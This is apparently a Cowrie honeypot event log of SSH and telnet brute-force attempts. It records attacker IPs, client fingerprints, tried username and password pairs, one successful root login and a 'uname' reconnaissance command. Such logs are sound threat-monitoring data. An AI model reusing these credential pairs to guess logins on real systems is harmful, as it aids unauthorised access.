{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:35:00.068486Z","src_ip":"195.178.110.218","session":"c58da9e17229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:35:00.317260Z","src_ip":"195.178.110.218","session":"c58da9e17229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:35:01.396995Z","src_ip":"195.178.110.218","session":"c58da9e17229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":48726,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4c0044a965f","protocol":"ssh","message":"New connection: 14.225.2.125:48726 (10.17.0.5:22) [session: d4c0044a965f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:35:56.849644Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:35:57.129530Z","src_ip":"14.225.2.125","session":"d4c0044a965f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":48738,"dst_ip":"10.17.0.5","dst_port":22,"session":"4db78a9feb07","protocol":"ssh","message":"New connection: 14.225.2.125:48738 (10.17.0.5:22) [session: 4db78a9feb07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:35:57.380047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:35:57.387702Z","src_ip":"14.225.2.125","session":"4db78a9feb07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:35:57.645019Z","src_ip":"14.225.2.125","session":"4db78a9feb07","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qazxsw2","message":"login attempt [root/qazxsw2] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:35:58.415936Z","src_ip":"14.225.2.125","session":"4db78a9feb07","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:35:58.971550Z","src_ip":"14.225.2.125","session":"4db78a9feb07","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:35:58.974502Z","src_ip":"14.225.2.125","session":"4db78a9feb07","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:35:59.234234Z","src_ip":"14.225.2.125","session":"4db78a9feb07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:35:59.238891Z","src_ip":"14.225.2.125","session":"4db78a9feb07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":53720,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3bc4c2068b6","protocol":"ssh","message":"New connection: 195.178.110.218:53720 (159.203.135.109:22) [session: a3bc4c2068b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:36:01.045400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:36:01.050265Z","src_ip":"195.178.110.218","session":"a3bc4c2068b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:36:01.126295Z","src_ip":"195.178.110.218","session":"a3bc4c2068b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:36:01.354404Z","src_ip":"195.178.110.218","session":"a3bc4c2068b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:36:02.433675Z","src_ip":"195.178.110.218","session":"a3bc4c2068b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":40788,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1671810c6ad","protocol":"ssh","message":"New connection: 195.178.110.218:40788 (10.17.0.5:22) [session: a1671810c6ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:37:31.961796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:37:31.969779Z","src_ip":"195.178.110.218","session":"a1671810c6ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:37:32.050044Z","src_ip":"195.178.110.218","session":"a1671810c6ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:37:32.289846Z","src_ip":"195.178.110.218","session":"a1671810c6ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:37:33.372449Z","src_ip":"195.178.110.218","session":"a1671810c6ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":33224,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7ba8ca97704","protocol":"ssh","message":"New connection: 2.57.121.112:33224 (159.203.135.109:22) [session: e7ba8ca97704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:38:24.149642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:38:24.153248Z","src_ip":"2.57.121.112","session":"e7ba8ca97704","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:38:24.257744Z","src_ip":"2.57.121.112","session":"e7ba8ca97704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0207","message":"login attempt [admin/0207] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:38:24.769086Z","src_ip":"2.57.121.112","session":"e7ba8ca97704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"020691","message":"login attempt [admin/020691] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:38:25.877680Z","src_ip":"2.57.121.112","session":"e7ba8ca97704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"020677","message":"login attempt [admin/020677] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:38:26.986940Z","src_ip":"2.57.121.112","session":"e7ba8ca97704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"020486","message":"login attempt [admin/020486] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:38:28.096777Z","src_ip":"2.57.121.112","session":"e7ba8ca97704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"020283","message":"login attempt [admin/020283] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:38:29.254774Z","src_ip":"2.57.121.112","session":"e7ba8ca97704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:38:30.364004Z","src_ip":"2.57.121.112","session":"e7ba8ca97704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":53932,"dst_ip":"159.203.135.109","dst_port":22,"session":"27c38f959168","protocol":"ssh","message":"New connection: 195.178.110.218:53932 (159.203.135.109:22) [session: 27c38f959168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:38:39.911865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:38:39.915816Z","src_ip":"195.178.110.218","session":"27c38f959168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:38:39.995304Z","src_ip":"195.178.110.218","session":"27c38f959168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:38:40.235713Z","src_ip":"195.178.110.218","session":"27c38f959168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:38:41.318305Z","src_ip":"195.178.110.218","session":"27c38f959168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.218.206.66","src_port":30736,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb9ecdefe0b1","protocol":"telnet","message":"New connection: 216.218.206.66:30736 (159.203.135.109:23) [session: eb9ecdefe0b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:38:46.454100Z"}
{"eventid":"cowrie.session.closed","duration":2.074768304824829,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:38:48.528782Z","src_ip":"216.218.206.66","session":"eb9ecdefe0b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54692,"dst_ip":"159.203.135.109","dst_port":22,"session":"364930f9caeb","protocol":"ssh","message":"New connection: 2.57.122.208:54692 (159.203.135.109:22) [session: 364930f9caeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:38:49.503929Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:38:49.613775Z","src_ip":"2.57.122.208","session":"364930f9caeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":58442,"dst_ip":"10.17.0.5","dst_port":22,"session":"e39c8b1c8f90","protocol":"ssh","message":"New connection: 195.178.110.218:58442 (10.17.0.5:22) [session: e39c8b1c8f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:40:14.717694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:40:14.722337Z","src_ip":"195.178.110.218","session":"e39c8b1c8f90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:40:14.802740Z","src_ip":"195.178.110.218","session":"e39c8b1c8f90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:40:15.043722Z","src_ip":"195.178.110.218","session":"e39c8b1c8f90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:40:16.127259Z","src_ip":"195.178.110.218","session":"e39c8b1c8f90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":42710,"dst_ip":"159.203.135.109","dst_port":22,"session":"e91f2e9ff97f","protocol":"ssh","message":"New connection: 195.178.110.218:42710 (159.203.135.109:22) [session: e91f2e9ff97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:41:17.390273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:41:17.394836Z","src_ip":"195.178.110.218","session":"e91f2e9ff97f","protocol":"ssh"}
